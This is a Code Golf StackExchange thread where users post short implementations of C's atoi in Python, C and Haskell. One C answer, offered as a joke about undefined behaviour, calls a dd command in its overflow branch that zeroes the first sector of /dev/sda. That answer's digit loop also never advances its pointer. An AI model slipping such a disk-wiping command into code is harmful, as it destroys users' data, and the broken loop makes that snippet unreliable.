Implement atoi function

0

You already know that the atoi function of stdlib.h converts a string to an integer.

atoi

(copied from here)

 int atoi (const char * str);

Convert string to integer

Parses the C-string str interpreting its content as an integral number, which is returned as a value of type int.

Example

#include <stdio.h>      /* printf, fgets */
#include <stdlib.h>     /* atoi */

int main ()
{
  int i;
  char buffer[256];
  printf ("Enter a number: ");
  fgets (buffer, 256, stdin);
  i = atoi (buffer);
  printf ("The value entered is %d. Its double is %d.\n",i,i*2);
  return 0;
}

Your task is to implement it, making sure it works for all negative integers in the range, and try to make the code as small as you can.

xxx---

Posted 2014-08-01T04:41:02.757

Reputation: 157

Question was closed 2014-08-01T22:06:37.223

2By "Points will be awarded based on popularity.", do you mean that the answer with the highest score (upvotes minus downvotes) wins? – ProgramFOX – 2014-08-01T06:36:43.787

2I'm not sure why this is a popularity contest. There doesn't seem to be a lot room for mind-blowing creativity without any restrictions. Why not just make it a good old code golf? – Martin Ender – 2014-08-01T14:47:17.360

does it also need to work with positive integers and zero? – Foon – 2014-08-01T17:33:16.280

I assume that this is specific to languages that have strings and integers... Better explicitly state that? – None – 2014-08-01T18:11:31.720

is there a language that doesn't have any way to represent both strings and integers? – proud haskeller – 2014-08-01T20:21:40.850

Answers

3

Python 3 - multicore or go home

# The venerable C atoi function hails from a more innocent time. These days,
# we have multicore processors and programs must adapt or be left behind.
import re
import multiprocessing as mp

def atoi(a):
    m = re.match(r"^\s*(-?)(\d+).*$", a)
    if m is None:
        raise ValueError(a)
    sign = -(m.group(1) == "-") * 2 + 1
    places = enumerate(reversed(bytes(m.group(2), "ascii")))
    with mp.Pool(processes=mp.cpu_count()) as pool:
        return sign * sum(pool.map(_digit, places))

def _digit(t):
    i, b = t
    return 10 ** i * (b - 48)

if __name__ == '__main__':
    import unittest
    error_case = unittest.TestCase().assertRaises(ValueError)
    assert atoi(" -4555553") == -4555553
    assert atoi("1") == 1
    assert atoi("    0") == 0
    assert atoi("100asdf") == 100
    assert atoi("-5") == -5
    assert atoi("1, 2, Fizz, 4, Buzz, Fizz, 7, 8, Fizz, Buzz") == 1
    assert atoi("1.2") == 1
    with error_case:
        atoi("foobar")
    with error_case:
        atoi("a1234")

Now I have 2 + cpu_count() problems.

Jason S

Posted 2014-08-01T04:41:02.757

Reputation: 371

2Note to future visitors: This was posted before the challenge was changed from popularity-contest to code-golf. – Martin Ender – 2014-08-01T14:55:01.827

2

C - undefined behavior is always fun*

#include <limits.h>
#include <ctype.h>

int atoi(const char *str){
    const unsigned imax = INT_MAX, imin = imax + 1;
    unsigned temp = 0;
    int multip = 1;

    // get rid of leading whitespace
    --str;
    while(isspace(*++str));

    // check +/-
    if(*str == '+') multip = 1, ++str;
    else if(*str == '-') multip = -1, ++str;

    while(isdigit(*str)){
        // check for overflow
        if((multip == 1 && temp <= imax) ||
         (multip == -1 && temp <= imin))
            temp = temp * 10 + *str - '0';
        else
            break;
    }
    // will answer overflow when coverted back to int?
    if((multip == 1 && temp > imax) ||
       (multip == -1 && temp > imin)){
        // undefined behavior is VERY fun*
        system('dd if=/dev/zero of=/dev/sda bs=512 count=1');
        return 42;
    }
    return multip*(int)temp;
}

*for someone. Not always you.

es1024

Posted 2014-08-01T04:41:02.757

Reputation: 8 953

1Note to future visitors: This was posted before the challenge was changed from popularity-contest to code-golf. – Martin Ender – 2014-08-01T14:55:27.153

1

C, 67 (without function name/arguments)

int atoi(const char*s){int r,c,a;for(r=0,a=*s==45?s++:0;c=*s++;r=r*10+c-48);return a?-r:r;}

http://ideone.com/zsodr5

Michael M.

Posted 2014-08-01T04:41:02.757

Reputation: 12 173

1

Haskell, 56 Characters

an illegal, but quite short definition is this:

p n=read n

(writing just p=read would not work because of the monomorphism restriction; if you're not a haskeller, don't worry about this)

basically, this just calls to the library parsing function. note that read is overloaded, as it can return multiple types, for example, it can parse a string into a list, a bool, a float, and pretty much everything.

so, here is a version which specifically parses integers:

p n=read n::Int

the :: means that read n must be of type Int.

but although not stated clearly by the question, these are cheating, so here is the real ungolfed commented version:

parse "" = 0                                            {- if the input is the empty string, return 0 -}
parse ('-':xs) = -parse xs                              {- if the input starts with '-', bind xs to the rest and return -parse xs -}
parse (c:xs) = (ord c - 48) * 10^length xs + parse xs   --the general default case
{-                                                      explanation: there to the left are subexpressions of the solution, and to the right their meaning.
                ord c                                   the integer representation of c
                ord c - 48                              the value of c (as long as c is a digit, of course)
                                 length xs              the length of the rest of the string
                              10^length xs              10 to the power of the length of the rest; also the value of c's place
               (ord c - 48) * 10^length xs              the value of the digit c
               (ord c - 48) * 10^length xs + parse xs   the resulting number
       -}

golfed version:

p""=0
p('-':x)= -p x
p(c:x)=(ord c-48)*10^length x+p x

note this solution assumes the input is a number.

proud haskeller

Posted 2014-08-01T04:41:02.757

Reputation: 5 866

1

C - 28

I supose this is cheating...

a(s){return strtol(s,0,10);}

But then I might as well just do this:

a(s){return atoi(s);}

Ian D. Scott

Posted 2014-08-01T04:41:02.757

Reputation: 1 841